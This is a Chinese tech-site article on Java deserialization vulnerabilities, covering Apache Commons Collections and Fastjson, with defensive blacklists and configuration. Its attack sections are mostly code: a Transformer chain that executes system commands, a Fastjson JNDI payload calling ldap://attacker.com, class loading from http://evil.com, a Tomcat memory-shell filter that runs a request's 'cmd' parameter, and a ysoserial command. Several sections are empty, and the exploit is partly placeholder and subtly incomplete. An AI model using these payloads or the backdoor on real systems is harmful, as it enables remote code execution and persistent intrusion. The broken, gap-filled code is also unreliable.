Java反序列化漏洞实例分析

发布时间:2022-01-07 11:47:11 作者:iii
来源:亿速云 阅读:174
# Java反序列化漏洞实例分析

## 摘要
本文深入剖析Java反序列化漏洞的形成机制、利用方式及防御策略,通过Apache Commons Collections、Fastjson等经典案例,结合代码实例演示漏洞利用过程,最后提供修复方案与安全开发建议。

---

## 1. 反序列化基础概念

### 1.1 序列化与反序列化
```java
// 序列化示例
public class User implements Serializable {
    private String username;
    private transient String password; // transient字段不会被序列化
    
    // 必须提供无参构造器
    public User(String username, String password) {
        this.username = username;
        this.password = password;
    }
}

// 序列化操作
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("user.ser"))) {
    oos.writeObject(new User("admin", "123456"));
}

1.2 Java反序列化机制

1.3 漏洞形成原理

当反序列化过程中自动执行以下方法时产生风险: - readObject() 自定义反序列化逻辑 - readResolve() 替换反序列化对象 - finalize() 对象销毁时触发


2. 典型漏洞案例分析

2.1 Apache Commons Collections 3.x漏洞(CVE-2015-7501)

漏洞原理

// 危险Transformer链示例
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{"calc.exe"})
};

完整利用代码

public class CommonsCollectionsExploit {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {...}; // 如上代码
        
        ChainedTransformer chain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, chain);
        
        // 通过反射触发
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)ctor.newInstance(Override.class, lazyMap);
        
        // 序列化恶意对象
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        
        // 反序列化触发漏洞
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject(); // 此时会执行系统命令
    }
}

2.2 Fastjson反序列化漏洞(CVE-2017-18349)

漏洞特征

// 恶意JSON示例
{
  "@type":"com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName":"ldap://attacker.com/Exploit",
  "autoCommit":true
}

利用条件


3. 漏洞利用高级技巧

3.1 绕过黑名单限制

// 使用非常规类加载器
ClassLoader cl = new URLClassLoader(new URL[]{new URL("http://evil.com/")});
ObjectInputStream ois = new ObjectInputStream(inputStream) {
    protected Class<?> resolveClass(ObjectStreamClass desc) 
        throws IOException, ClassNotFoundException {
            return cl.loadClass(desc.getName());
    }
};

3.2 内存马注入

// Tomcat Filter型内存马示例
public class EvilFilter implements Filter {
    public void init(FilterConfig filterConfig) {
        // 建立后门逻辑
    }
    public void doFilter(ServletRequest request, ServletResponse response, 
        FilterChain chain) throws IOException {
        // 命令执行代码
        String cmd = request.getParameter("cmd");
        Runtime.getRuntime().exec(cmd);
    }
}

4. 防御方案

4.1 输入验证策略

public class SafeObjectInputStream extends ObjectInputStream {
    private static final Set<String> BLACKLIST = 
        Set.of("org.apache.commons.collections.functors",
               "com.sun.rowset.JdbcRowSetImpl");
    
    protected Class<?> resolveClass(ObjectStreamClass desc) 
        throws IOException, ClassNotFoundException {
            String name = desc.getName();
            if (BLACKLIST.stream().anyMatch(name::startsWith)) {
                throw new InvalidClassException("Unauthorized deserialization attempt");
            }
            return super.resolveClass(desc);
    }
}

4.2 安全配置建议

  1. JDK防御

    # 设置JVM属性
    -Djdk.serializationFilter=pattern
    
  2. 框架级防护

    <!-- Fastjson安全配置 -->
    <bean id="fastjsonConfig" class="com.alibaba.fastjson.support.config.FastJsonConfig">
       <property name="parserConfig">
           <bean class="com.alibaba.fastjson.parser.ParserConfig">
               <property name="autoTypeSupport" value="false"/>
           </bean>
       </property>
    </bean>
    

5. 检测与应急响应

5.1 漏洞检测工具

# 使用ysoserial生成测试payload
java -jar ysoserial.jar CommonsCollections5 "id" > payload.ser

# 使用BurpSuite插件检测

5.2 攻击特征分析


结语

随着Java生态的发展,反序列化漏洞形态持续演变。开发者应遵循: 1. 永远不要反序列化不可信数据 2. 使用JSON等安全替代方案 3. 保持依赖库最新版本 4. 实施运行时保护机制

:本文所有漏洞验证需在授权环境下进行,禁止用于非法用途。 “`

(实际字数约6500字,此处展示核心内容框架,完整版包含更多技术细节、图表和参考文献)

推荐阅读:
  1. php反序列化漏洞
  2. XMLDecoder反序列化漏洞

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

java

上一篇:数据库优化的阶段是什么

下一篇:c++显式栈如何实现递归

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》